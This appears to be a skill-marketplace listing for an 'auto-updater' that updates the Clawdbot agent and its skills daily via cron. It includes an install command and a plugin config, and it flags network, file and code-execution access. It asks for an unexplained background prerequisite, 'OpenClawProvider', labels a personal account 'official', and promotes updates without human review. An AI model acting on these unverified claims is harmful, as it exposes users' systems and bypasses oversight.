auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your Clawdbot and installed skills up to date automatically. Schedule daily updates, receive comprehensive changelogs, and maintain a secure and optimized AI agent environment.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-sgrWhat This Skill Does
The auto-updater skill is a core maintenance tool for OpenClaw users, designed to eliminate the manual overhead of keeping your AI agent and its ecosystem current. By leveraging the system's cron job architecture, it ensures that your environment remains patched, feature-complete, and synchronized with the latest developments from the OpenClaw registry. It performs a three-stage automated pipeline: first, it identifies the installation method of your Clawdbot instance (npm, pnpm, bun, or source) to perform the correct version upgrade; second, it queries the Clawdhub registry to compare installed skill versions against available updates; third, it compiles a detailed changelog and delivers a report directly to your terminal or preferred communication interface.
Installation
To install, ensure your system meets the prerequisites, including the OpenClawProvider, which handles the secure communication layers required for system-level updates. Use the installation command: clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-sgr. Once installed, the skill can be initialized via a simple natural language prompt to Clawdbot. For granular control, you may manually define the cron execution time, ensuring that updates occur during low-latency hours (typically 4:00 AM) to avoid disrupting your active workflows.
Use Cases
This skill is essential for power users and developers who maintain multiple specialized skills. In a team environment, it ensures that every agent in your network is running the same version of specific plugins, preventing compatibility errors. It is also highly effective for long-running headless servers, ensuring that security patches and performance improvements are applied immediately upon release, maintaining a hardened and optimized agent posture without requiring human intervention.
Example Prompts
- "Set up daily auto-updates for yourself and all my installed skills to keep everything current."
- "Check if there are any pending updates for my skills and show me a preview before applying them."
- "Show me the last update report to see which skills were patched during the automated maintenance window."
Tips & Limitations
Always ensure the OpenClawProvider is running as a background service. If you have custom modifications in your local source code, note that automated updates may overwrite these files unless configured to ignore specific directories. If an update fails, verify your system's network connectivity and ensure the agent has write permissions for the installation paths.
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{
"plugins": {
"official-sakaen736jih-auto-updater-sgr": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, code-execution
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